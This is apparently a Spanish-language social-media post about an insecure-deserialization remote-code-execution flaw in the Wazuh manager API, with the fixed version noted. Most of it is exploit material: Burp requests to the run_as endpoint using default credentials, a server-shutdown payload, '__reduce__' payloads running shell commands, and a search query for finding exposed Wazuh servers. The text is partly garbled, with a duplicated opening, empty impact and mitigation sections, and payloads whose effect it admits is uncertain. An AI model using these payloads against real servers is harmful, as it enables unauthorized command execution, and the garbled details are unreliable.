Se ha identificado una vulnerabilidad crítica de RCE en el servidor Wazuh debido a una deserialización insegura en el paquete wazuh-manager. Este error afecta a las versiones de Wazuh ≥ 4.4.0 y se ha corregido en la versión 4.9.1.
Se ha identificado una vulnerabilidad crítica de RCE en el servidor de Wazuh debido a una deserialización insegura en el paquete wazuh-manager. Este error afecta a las versiones de Wazuh ≥ 4.4.0 y se ha corregido en la versión 4.9.1.
🔍 Detalles
La falla se encuentra en la DistributedAPI de la API de Wazuh, donde la entrada controlada por el usuario se deserializa de forma insegura. Esto permite a atacantes con acceso a la API (por ejemplo, un panel o nodo de clúster comprometido) ejecutar código Python arbitrario en el servidor maestro utilizando el endpoint run_as.
📬 Prueba de Concepto (Solicitud de Burp)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 El encabezado Authorization es el base64 de wazuh-wui:MyS3cr37P450r.*-.
📌 El payload provoca que el servidor de Wazuh se apague al llamar al método exit() de Python.
💥 Impacto
🛡️ Mitigación
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
Pero esto por sí solo no funcionará a menos que el código de deserialización ejecute realmente el árbol de objetos. En su lugar, utilice un objeto basado en __reduce__ que ejecute código.
Aquí está el formato funcional para una solicitud de Burp usando os.system() de Python mediante una lógica similar a pickle:
💣 Payload RCE funcional para Burp (Ejecución de Código Python)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 Para ejecutar ls, cambie el payload:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
También puede usar:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ Nota: La deserialización real debe ocurrir con eval() o mecanismos similares en el backend para que esto funcione. Basado en el PoC de Wazuh, esto es efectivamente posible si controlas auth_context.
🔐 Consejo Profesional Intercepte la solicitud en Burp, vaya a la pestaña Repeater y pruebe múltiples payloads como:
"whoami""id""uname -a""ls /home/wazuh"👇Consulta
product.name="Wazuh"app="Wazuh"Si la respuesta está vacía o el estado es 500, revise los registros — a veces no se devuelve la salida. 📚 ¡Manténganse afilados, hackers! ¡Más PoCs de bug bounty, bypasses y payloads están por venir!
Sigue 👉 @cybersecplayground para contenido diario de hacking!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit